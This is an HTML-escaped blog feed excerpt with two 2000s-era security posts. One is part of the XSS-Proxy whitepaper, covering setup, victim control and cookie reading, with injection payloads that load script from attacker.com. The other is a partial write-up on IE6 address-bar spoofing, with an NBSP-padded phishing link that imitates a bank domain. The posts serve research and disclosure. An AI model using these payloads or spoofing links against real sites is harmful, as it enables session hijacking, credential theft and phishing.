&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; | v&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; XSS vulnerable server --&amp;gt;--&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (Target - banking.com)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There are many methods for hiding the actual &quot;resident&quot; attack window or the loader IFRAME. &lt;br /&gt;
The entire window could be hidden or the original site contents could be left and just the &lt;br /&gt;
IFRAME hidden.&amp;nbsp; The current XSS-Proxy tool leaves the window and its IFRAME visible to &lt;br /&gt;
the victim, but it would be trivial to modify - the attacker can also do this interactively &lt;br /&gt;
with the Javascript Eval from. There also are many methods for forcing a user to load a &lt;br /&gt;
new window and with some additional logic even pop-up blockers can be bypassed (XSS process &lt;br /&gt;
re-writes the links in the original document to open a new window on click). The new window &lt;br /&gt;
could be a mirror of what the user was already viewing or the result of a clicked link in &lt;br /&gt;
the public XSS document and could trick the victim into leaving the XSS controlled window &lt;br /&gt;
running while they continue surfing.&lt;br /&gt;
&lt;br /&gt;
** Using XSS-Proxy **&lt;br /&gt;
While the description above is a bit dry, an actual test drive of the tool against your &lt;br /&gt;
own XSS vulnerable site will highlight the dangers of this attack more fully. Here&#39;s the &lt;br /&gt;
general steps for a demo involving your XSS-flawed server with localhost browser as a &lt;br /&gt;
victim, an XSS-Proxy and an attacker browser. In a real-world attack, the XSS-flawed &lt;br /&gt;
server, victim and XSS-Proxy/attacker hosts would all probably different systems - &lt;br /&gt;
and it would probably involve a vector that redirects from one site to the final site &lt;br /&gt;
that XSS-Proxy will use.&lt;br /&gt;
&lt;br /&gt;
Here&#39;s an overview on using the XSS-Proxy tool:&lt;br /&gt;
1 - Modify the perl script vars $code_server and $PORT to point to the system that you &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; will be running the perl script on. Defaults to port 80 and http://localhost&lt;br /&gt;
2 - Run the perl script and point the attack browser at /admin on the server you are &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; running the perl script. With defaults would be http://localhost/admin. This is the &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; attacker admin console and is where victims can be managed and results viewed.&lt;br /&gt;
3 - The initialization URL a victim needs to point to is /xss2.js - Your initial XSS &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; vector needs to point back to the perl server and this filename (ie for XSSing your &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; own browser with local code server, enter &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;script src=&quot;http://localhost/xss2.js&quot;&amp;gt;&amp;lt;/script&amp;gt; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; at a site that has an XSS vulnerable input) &lt;br /&gt;
4 - After you have a victim initialized and in a wait loop, you can either browse the / &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; document of the XSS site and click on links you want the victim to visit/forward back, &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; or you can enter documents/variables in the associated form inputs. &lt;br /&gt;
&lt;br /&gt;
XSS-Proxy Admin Commands and operation. &lt;br /&gt;
- The console does not refresh/update on its own. You will need to press the &lt;br /&gt;
&amp;nbsp; refesh/reload button in your browser. &lt;br /&gt;
- Javascript is not required to run the console and it may be safer to disable for the &lt;br /&gt;
&amp;nbsp; attacker console. I&#39;ve XSS&#39;d myself a few times with some advanced testing. &lt;br /&gt;
- Sessions will show up in a &quot;Clients&quot; section once a victim gets XSS&#39;d.&lt;br /&gt;
- Each victim/session should forward a copy of the &quot;/&quot; directory off the XSS&#39;d server.&lt;br /&gt;
- Forwarded documents are listed in the &quot;Document Results&quot; section. If you click on a &lt;br /&gt;
&amp;nbsp; document, it will rewrite the URLs and clicks within that document will make XSS-Proxy &lt;br /&gt;
&amp;nbsp; request the same client load the link &lt;br /&gt;
- If you are modifying a form and submitting, then you need to make sure the last page &lt;br /&gt;
&amp;nbsp; that client loaded is that same page, then fill out values and submit form. Some URL &lt;br /&gt;
&amp;nbsp; re-writing is happening here as well and the code assumes that page is already loaded at &lt;br /&gt;
&amp;nbsp; the victim.&lt;br /&gt;
- You can also do document loads manually by entering the URL in the &quot;Fetch Document&quot; &lt;br /&gt;
&amp;nbsp; form. First value (left) is the session number, and second is the document to retrieve &lt;br /&gt;
&amp;nbsp; (ie - 0 and http://xssed.com/stuff). The resulting document will be listed in the &lt;br /&gt;
&amp;nbsp; &quot;Document Results&quot; section.&lt;br /&gt;
- The other form called &quot;Evaluate&quot; is for querying Javascript vars/functions from &lt;br /&gt;
&amp;nbsp; specific clients. Enter session on left and var on right (ie - 0 and document.cookie &lt;br /&gt;
&amp;nbsp; to display cookies for session 0) &lt;br /&gt;
- Results of evaluate requests will appear in the &quot;Eval Results&quot; section &lt;br /&gt;
- There is an error handler running in the victim browser, so errors from page loads and &lt;br /&gt;
&amp;nbsp; evaluate requests will appear in the &quot;Errors&quot; section. &lt;br /&gt;
&lt;br /&gt;
There are a few bugs in the code still, so read the initial comments in the controller &lt;br /&gt;
script to see what it may have issues with. The attack works with IE and Firefox browsers &lt;br /&gt;
(with some additional tweaks other browsers may work) and the Perl script runs on most &lt;br /&gt;
any OS with a basic Perl install. I&#39;ve tested it on Linux and Windows (Activestate Perl) &lt;br /&gt;
with Perl5. It&#39;s lightweight and extremely portable, but Apache + a DB server would be a &lt;br /&gt;
more roust and stable platform.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
** Implications of Attack/Tool **&lt;br /&gt;
This advanced attack allows a persistent connection and an arbitrary number of documents &lt;br /&gt;
to be loaded and forwarded by victims to an attacker. I call these victims in an &lt;br /&gt;
idle/wait state &quot;Browser-Zombies&quot;. The ability to see documents, modify and submit &lt;br /&gt;
documents that the victim may have access to can allow an attacker to elevate access to &lt;br /&gt;
a site by assuming the rights/identity of the XSS victim. This is useful if the victim is &lt;br /&gt;
already logged into a site (see session-riding paper (4)) and the attacker piggybacks on &lt;br /&gt;
this existing session. Cookie theft alone does not work with all site and many sites use &lt;br /&gt;
other authentication methods. XSS-Proxy is an extreme example of session-riding (4) and &lt;br /&gt;
XSS combined and can allow access to the same resources a victim may have. Methods can &lt;br /&gt;
include cached/existing logins, client-side certificates, IP firewalled/filter access &lt;br /&gt;
and even access to other resources behind firewalls (see attack refinements below). &lt;br /&gt;
&lt;br /&gt;
This attack also allows realtime (or scripted) access to the victim browser, and other &lt;br /&gt;
content-type or browser specific vulnerabilities could also be potentially leveraged for &lt;br /&gt;
additional browser/host access. This control channel could also be a delivery mechanism &lt;br /&gt;
for other forms of malware.&lt;br /&gt;
&lt;br /&gt;
This also means than the initial XSS attack and controlled session is not just limited &lt;br /&gt;
to the current XSS vulnerable server. The attacker can re-direct the victim to other XSS &lt;br /&gt;
vulnerable sites after the initial browser hijack, and determine what access the victim &lt;br /&gt;
has to the site. This could even be a list of sites that the attacker knows have XSS &lt;br /&gt;
flaws and would like to check for special access with a specific victim. XSS-Poxy can &lt;br /&gt;
already do this if you have the victim evaluate the expression &lt;br /&gt;
document.location=&quot;http://newxsssite.com/xsscode&quot;. Here&#39;s an example if XSS-Proxy already &lt;br /&gt;
has an existing session 0:&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; Form Evaluate:&lt;br /&gt;
&amp;nbsp; Session: 0&lt;br /&gt;
&amp;nbsp; Expression: document.location=&quot;http://2ndxsssite.com/search.cgi?test=%3Cscript%20src=&#39;http://attacker.com/xss2.js&#39;%3E%3C/script%3E&quot;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; The above command will change the current location of the victim&#39;s main window to a new &lt;br /&gt;
&amp;nbsp; XSS target, load code from the attacker server, re-create a loader IFRAME and start a new &lt;br /&gt;
&amp;nbsp; hijacked session with http://2ndxsssite.com as the current document domain. We have &lt;br /&gt;
&amp;nbsp; transferred the initial XSS to another target and maintained control of the victim.&lt;br /&gt;
&lt;br /&gt;
An extension of this idea is to force the victim to continue surfing normally in a window the &lt;br /&gt;
attacker creates and in the other XSS hijacked window force periodic redirects to a list of &lt;br /&gt;
interesting XSS sites -- with each redirect, the attacker checks to see if the victim is at &lt;br /&gt;
one of those sites.&amp;nbsp; If the interactive window is at the same site as the current XSS check-site,&lt;br /&gt;
the attacker will be able to read the contents of the interactive window. This means the &lt;br /&gt;
attacker can now shoulder-surf the victim and even modify server responses and user &lt;br /&gt;
submission as long as the victim stays on that same site. XSS-Proxy doesn&#39;t currently do &lt;br /&gt;
this, but some interactive eval expressions for the session should be able to create a popup &lt;br /&gt;
window (if allowed in browser), make it full screen, and periodically check that window to &lt;br /&gt;
see if the victim has surfed to a location that can be read. For a useful attack, this needs &lt;br /&gt;
to be coded into XSS-Proxy as another attacker command.&lt;br /&gt;
&lt;br /&gt;
Other refinements of this attack could allow blind CSRF based probing for other sites &lt;br /&gt;
with XSS flaws, with validation of XSS vulnerable sites. Validation would be determined &lt;br /&gt;
with responses that set the probe IFRAME/window back to the XSS controlled site and &lt;br /&gt;
allow the already resident XSS code reading the frame again (even more information could &lt;br /&gt;
be passed on the re-direct URL and even if it throws a 404 the XSS code can read it). &lt;br /&gt;
If the XSS probe is unsuccessful, the resident XSS code will be unable to read the IFRAME, &lt;br /&gt;
will delete the IFRAME and try the next test. Again, I&#39;ll update the XSS-Proxy site with &lt;br /&gt;
the details, but if there&#39;s a XSS flaw the CSRF injected vector will point back to a &lt;br /&gt;
site we already XSS control and our script will be able to read the window again. XSS-Proxy &lt;br /&gt;
has IFRAME access denial recovery logic that deletes the IFRAME and reloads the original XSS &lt;br /&gt;
target site root (/) upon failure to read IFRAME. This can be used to do this CSRF XSS &lt;br /&gt;
fuzzing attack with GET URLs by requesting the client fetch a document off another target &lt;br /&gt;
system and include some XSS code in the URL to set the frame back to the original XSS site &lt;br /&gt;
upon success. Here&#39;s an example for doing this with XSS-Proxy and a victim on session 0 who&#39;s &lt;br /&gt;
currently on http://xsssite1.com - this will probe http://csrfprobesite.com:&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; Form: Fetch Document&lt;br /&gt;
&amp;nbsp; Session: 0&lt;br /&gt;
&amp;nbsp; Location: http://csrfprobesite/probeurl?probevalue=&amp;lt;script&amp;gt;document.location=&quot;http://xsssite1.com/lalalalala&quot;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; If XSS-Proxy throws an access denied error for the document in the loader IFRAME, the fuzz &lt;br /&gt;
&amp;nbsp; probe failed. If it doesn&#39;t throw an error and the new loader IFRAME document location is &lt;br /&gt;
&amp;nbsp; set to &quot;http://xsssite1.com/lalalalala&quot;, then your blind fuzz worked. &lt;br /&gt;
&amp;nbsp; Note that IE needs somewhere over 512 bytes in the 404 message to override IE&#39;s &lt;br /&gt;
&amp;nbsp; res:// based 404 errors. Firefox doesn&#39;t and always seems to read a 404 just fine.&lt;br /&gt;
&lt;br /&gt;
I have another refinement of this attack that can allow the attacker to masquerade as the &lt;br /&gt;
victim and never reveal his location/IP to a specific target site. I&#39;ll be publishing &lt;br /&gt;
details on the XSS-Proxy site soon, but the method involves multiple XSS target sites and &lt;br /&gt;
covert channels between several IFRAMES on the same page for command/response &lt;br /&gt;
communications. The covert channel is an IFRAME who&#39;s location is swapped between the &lt;br /&gt;
two XSS sites and commands/responses are communicated via the locations URL (This will &lt;br /&gt;
normally throw a 404, but we can still read the location if it&#39;s set to the correct &lt;br /&gt;
document domain). The end-result is that one of the sites doesn&#39;t know where the remote &lt;br /&gt;
script server is located and thinks the attacker is actually the victim&#39;s browser, &lt;br /&gt;
while the other site passed the initial script call to the victim browser. An attacker &lt;br /&gt;
using something like Nikto thru the XSS-Proxy tool could attack the 2nd target site while &lt;br /&gt;
masquerading as the victim - XSS could be leveraged for other web vulnerability &lt;br /&gt;
exploitation.&amp;nbsp; The site administrators would never know where the attack server was &lt;br /&gt;
located without a complete analysis of victim system during the attack. XSS-Proxy does &lt;br /&gt;
not handle this right now, but I&#39;ve got some code additions soon that will allow it.&lt;br /&gt;
&lt;br /&gt;
The basic controlled attack and it&#39;s extensions are very evil, and any other future DOM &lt;br /&gt;
interwindow trust vulnerabilities in browsers (like the recent drop window to tab Firefox &lt;br /&gt;
vulnerability) make the issue even worse as _all_ sites a victim has access to could also &lt;br /&gt;
be accessed by an attacker. Right now XSS-Proxy only grabs document contents (HTML/Text) &lt;br /&gt;
and images, files, and other contents are not downloaded to the attacker.&amp;nbsp; Remote &lt;br /&gt;
retrieval of these other file types could be made possible with XSS re-injection and use &lt;br /&gt;
of functions like XMLHTTP for arbitrary binary content from the target server.&lt;br /&gt;
&lt;br /&gt;
** Development Site and Additional Information **&lt;br /&gt;
XSS-Proxy is available at http://sourceforge.net/projects/xss-proxy&lt;br /&gt;
&lt;br /&gt;
Home page with more detailed whitepaper, some diagrams, screenshots and my &lt;br /&gt;
Shmoocon slides is at http://xss-proxy.sourceforge.net&lt;br /&gt;
&lt;br /&gt;
** References **&lt;br /&gt;
(1) CGISecurity&#39;s Cross Site Scripting FAQ &lt;br /&gt;
http://www.cgisecurity.com/articles/xss-faq.shtml&lt;br /&gt;
(2) Gunter Ollmann&#39;s XSS paper&lt;br /&gt;
http://www.technicalinfo.net/papers/CSS.html&lt;br /&gt;
(3) PeterW&#39;s Cross Site Request Forgery (CSRF) Concept&lt;br /&gt;
http://www.securityfocus.com/archive/1/191390&lt;br /&gt;
(4) SecureNet&#39;s Session Riding paper&lt;br /&gt;
http://www.securenet.de/papers/Session_Riding.pdf&lt;br /&gt;
(5) CERT info on XSS&lt;br /&gt;
http://www.cert.org/advisories/CA-2000-02.html&lt;br /&gt;
(6) Remote Scripting with IFRAMEs&lt;br /&gt;
http://developer.apple.com/internet/webcontent/iframe.html&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://intohackingwithuntamed.blogspot.com/feeds/6235237535507731681/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/8981203489549642442/6235237535507731681?isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8981203489549642442/posts/default/6235237535507731681'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8981203489549642442/posts/default/6235237535507731681'/><link rel='alternate' type='text/html' href='http://intohackingwithuntamed.blogspot.com/2012/06/mini-whitepaper-advanced-cross-site.html' title='Advanced Cross-Site-Scripting with Real-time Remote Attacker Control'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWS3GewmQPCEkVjagBXy8GKJ-M3BOfRe6IVr_OUWtSWYvwlj1zSGm1eNRH0u-ZyckVu5Ab7BEJTi1D_PlIDC4XtHwY7FrvD6cNE1nYFa4BSPdVJssaPs7XILAyZco9i1Okmhyphenhyphen2EGgAcyE/s72-c/ukryte_furtki_rys41043333064108.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8981203489549642442.post-2826532700789481452</id><published>2012-05-27T22:00:00.000-07:00</published><updated>2012-06-04T21:55:40.637-07:00</updated><title type='text'>Address Bar Spoofing Attacks against Microsoft Internet Explorer 6</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhv3NeFTOxxMNMnm6-1xmNAbjVOQB3KK6T0GZv2tyxX7mmaKsTnfmq72XdP8XfL_sB5q9qd3nuytbONppmT7hOnY06f5_b9rV-SQWQrWBQrC5g6Lo8vaewOwxeGCDVmg0HiFhEPGZuzY6g/s1600/8373-address-bar.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;264&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhv3NeFTOxxMNMnm6-1xmNAbjVOQB3KK6T0GZv2tyxX7mmaKsTnfmq72XdP8XfL_sB5q9qd3nuytbONppmT7hOnY06f5_b9rV-SQWQrWBQrC5g6Lo8vaewOwxeGCDVmg0HiFhEPGZuzY6g/s320/8373-address-bar.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Summary&lt;br /&gt;
=======&lt;br /&gt;
&lt;br /&gt;
IE6 is the second most popular web browser (after IE7), with&lt;br /&gt;
market share of around 25% (according to recent surveys e.g.&lt;br /&gt;
http://marketshare.hitslink.com/report.aspx?qprid=2).&lt;br /&gt;
&lt;br /&gt;
This write-up presents two new phishing attack techniques,&lt;br /&gt;
abusing an address bar issue (security vulnerability) with IE6 in&lt;br /&gt;
combination with non-standard DNS domain names. The net result is&lt;br /&gt;
that a phishing site may present itself via a link that when&lt;br /&gt;
clicked in IE6 displays an almost indistinguishable URL from the&lt;br /&gt;
one in used by the genuine site. The technique is new, i.e. it&#39;s&lt;br /&gt;
different than the ASCII similar characters and IDN homographs&lt;br /&gt;
attacks.&lt;br /&gt;
&lt;br /&gt;
There are two techniques: the first technique presents an address&lt;br /&gt;
bar which is very similar (visually) to the address bar expected&lt;br /&gt;
for the genuine domain, by abusing the NBSP character. The second&lt;br /&gt;
technique presents an address bar visually identical to the one&lt;br /&gt;
expected for the genuine domain, using the fact that a non-DNSish&lt;br /&gt;
characters are not displayed in the address bar in some cases.&lt;br /&gt;
This technique requires registration of a non-standard domain,&lt;br /&gt;
hence it is probably theoretic only (although &quot;site down&quot;&lt;br /&gt;
imitation is still possible).&lt;br /&gt;
&lt;br /&gt;
The attacks were verified with Windows XP SP2 and Windows XP SP3.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Introduction&lt;br /&gt;
============&lt;br /&gt;
&lt;br /&gt;
URLs typically include host name, which tells the browser (after&lt;br /&gt;
DNS resolution) where to fetch the resource from. While regular&lt;br /&gt;
host names contain alphanumeric characters (a-z, A-Z and 0-9),&lt;br /&gt;
dots, hyphens and (in Intranets only) underscores, it is possible&lt;br /&gt;
to construct (at least syntactically) URLs whose host part&lt;br /&gt;
contain any octet (as explained in RFC 1035 section 3.1). The&lt;br /&gt;
interpretation of such characters when presented as links (when&lt;br /&gt;
IDN is not supported by the browser, see below) by the browser&lt;br /&gt;
and by the DNS infrastructure, as well as the way those&lt;br /&gt;
characters are presented by the browser (in the address bar) are&lt;br /&gt;
the subject of this write-up.&lt;br /&gt;
&lt;br /&gt;
Non-DNS characters can be provided to the browser in several ways&lt;br /&gt;
(assuming e.g. an anchor HTML tag context):&lt;br /&gt;
*&amp;nbsp;&amp;nbsp;&amp;nbsp; In raw form, i.e. as a byte (octet), e.g. $&lt;br /&gt;
*&amp;nbsp;&amp;nbsp;&amp;nbsp; In HTML-encoded form, e.g. &amp;amp;#x24;&lt;br /&gt;
*&amp;nbsp;&amp;nbsp;&amp;nbsp; In URL-encoded form, e.g. %24&lt;br /&gt;
&lt;br /&gt;
In raw form, the data is provided as-is. In HTML-encoded form,&lt;br /&gt;
the data is considered Unicode, and may undergo encoding. In URL-&lt;br /&gt;
encoded format, the data is (again) directly decodable into raw&lt;br /&gt;
form. The difference is subtle, but important. The octet values&lt;br /&gt;
00-7F (corresponding to the ASCII characters) have a single&lt;br /&gt;
interpretation across all systems. However, octet values 80-FF&lt;br /&gt;
may have different interpretation depending on the code page and&lt;br /&gt;
encoding system in use.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Address bar spoofing in IE6&lt;br /&gt;
===========================&lt;br /&gt;
&lt;br /&gt;
Non-DNS characters&lt;br /&gt;
------------------&lt;br /&gt;
Within the ASCII range (00-7F), only the DNS subset of ASCII&lt;br /&gt;
characters is allowed.&lt;br /&gt;
As for higher values (e.g. A9 or %A9): IE6 uses DnsQuery_A to&lt;br /&gt;
resolve the name. DnsQuery_A assumes that the characters are in&lt;br /&gt;
the &quot;current&quot; Windows ANSI codepage (e.g. Windows-1252 or&lt;br /&gt;
Windows-1255, see&lt;br /&gt;
http://www.microsoft.com/globaldev/reference/WinCP.mspx for a&lt;br /&gt;
list of Single Byte code pages). It translates the characters&lt;br /&gt;
into UTF-8 representation and sends them this way. So %A9 is URL-&lt;br /&gt;
decoded into the byte (\xA9) by IE6, then this raw byte is&lt;br /&gt;
forwarded to DnsQuery_A, which interprets it according to the&lt;br /&gt;
current codepage (e.g. Windows-1252 or Windows-1255) as&lt;br /&gt;
COPYRIGHT_SIGN, moves to Unicode (U+00A9), and UTF-8 encodes this&lt;br /&gt;
symbol (into the 2 byte sequence (\xC2) (\xA9)). The net result&lt;br /&gt;
is that http://www.foo%A9bar.com goes out as a DNS query on&lt;br /&gt;
www.foo(\xC2)(\xA9)bar.com.&lt;br /&gt;
As it happens, almost all single-byte character sets (Windows-&lt;br /&gt;
1250...Windows-1258) interpret (\xA9) as COPYRIGHT_SIGN, and the&lt;br /&gt;
one exception being Windows-874 (Thai) which does not.&lt;br /&gt;
&lt;br /&gt;
NOTE: the code page for a particular Windows box is determined&lt;br /&gt;
through the Control Panel (Regional and Language Options -&amp;gt;&lt;br /&gt;
advanced [tab], in the Languages for non-Unicode programs). The&lt;br /&gt;
Windows ANSI code page is derived from the language specified via&lt;br /&gt;
the table as provided in http://msdn.microsoft.com/en-&lt;br /&gt;
us/library/ms776260.aspx. For example, if the language is English&lt;br /&gt;
(all variants) then the Windows ANSI code page is 1252, whereas&lt;br /&gt;
if the language is Hebrew, then the Windows ANSI code page is&lt;br /&gt;
1255. As can be seen, the only languages whose code page is not&lt;br /&gt;
Windows-1250...Windows-1258 are the far east languages Chinese,&lt;br /&gt;
Japanese, Korean and Thai. So with the exception of these&lt;br /&gt;
languages, IE6 will request a DNS resolution for&lt;br /&gt;
www.foo(\xC2)(\xA9)bar.com when it navigates to&lt;br /&gt;
http://www.foo%A9bar.com/.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Attack #1: Raw/HTML-encoded characters&lt;br /&gt;
--------------------------------------&lt;br /&gt;
&lt;br /&gt;
IE6 allows &quot;raw&quot; high-bit characters to be typed in the address&lt;br /&gt;
bar, e.g.&lt;br /&gt;
&lt;br /&gt;
http://www.foo(c)bar.com/&lt;br /&gt;
&lt;br /&gt;
In such case, the character is displayed in the address bar&lt;br /&gt;
(unlike %A9 which is not).&lt;br /&gt;
&lt;br /&gt;
It is possible to present this URL in a link, e.g.:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;a href=&quot;http://www.foo&amp;amp;#x00A9;bar.com&quot;&amp;gt;FooBar&amp;lt;/a&amp;gt;&lt;br /&gt;
&lt;br /&gt;
NOTE: An HTML-encoded character is displayed as the corresponding&lt;br /&gt;
Unicode symbol. However, if this symbol is not mapped to the&lt;br /&gt;
current code page, IE will not resolve the host name (it shows an&lt;br /&gt;
&quot;invalid syntax&quot; error page).&lt;br /&gt;
&lt;br /&gt;
A more interesting, and phishing related example is using the&lt;br /&gt;
Non-Blocking Space character (NBSP, Unicode U+00A0). This&lt;br /&gt;
character is rendered in the address bar as a space (NBSP is&lt;br /&gt;
mapped as 0xA0 in all single-byte character set codepages, i.e.&lt;br /&gt;
Windows-1250...Windows-1258 and Windows-874). Thus it opens up an&lt;br /&gt;
address bar spoofing trick similar in effect to a one already&lt;br /&gt;
disclosed (first reported in BugTraq December 2003:&lt;br /&gt;
http://www.securityfocus.com/archive/1/346948, then picked up by&lt;br /&gt;
CERT http://www.kb.cert.org/vuls/id/652278 and fixed by Microsoft&lt;br /&gt;
as MS04-004).&lt;br /&gt;
For example, consider the following phishing link (mimicking&lt;br /&gt;
www.yourbankhere.com, yet the real page is served from the domain&lt;br /&gt;
phish.site):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;a&lt;br /&gt;
href=&quot;http://www.yourbankhere.com&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;n&lt;br /&gt;
bsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;&lt;br /&gt;
nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&lt;br /&gt;
&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;.&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbs&lt;br /&gt;
p;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nb&lt;br /&gt;
sp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;n&lt;br /&gt;
bsp;&amp;amp;nbsp;.&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&lt;br /&gt;
&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;.phish.site/&quot;&amp;gt;YourBankHere&amp;lt;/a&amp;gt;&lt;br /&gt;
&lt;br /&gt;
It should be noted that auto-complete does work for these URLs.&lt;br /&gt;
&lt;br /&gt;
When the address bar box is not wide enough to show the whole&lt;br /&gt;
URL, the picture is almost identical to that of the genuine URL&lt;br /&gt;
(notice there&#39;s no slash after the host name, and the additional&lt;br /&gt;
dots). When the address bar is at its full width, some users may&lt;br /&gt;
still be fooled as the real domain is way off to the right,&lt;br /&gt;
separated from the left part of the hostname by many white&lt;br /&gt;
spaces. This shows up visually as (may wrap around in the text):&lt;br /&gt;
&lt;br /&gt;
http://www.yourbankhere.com&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;
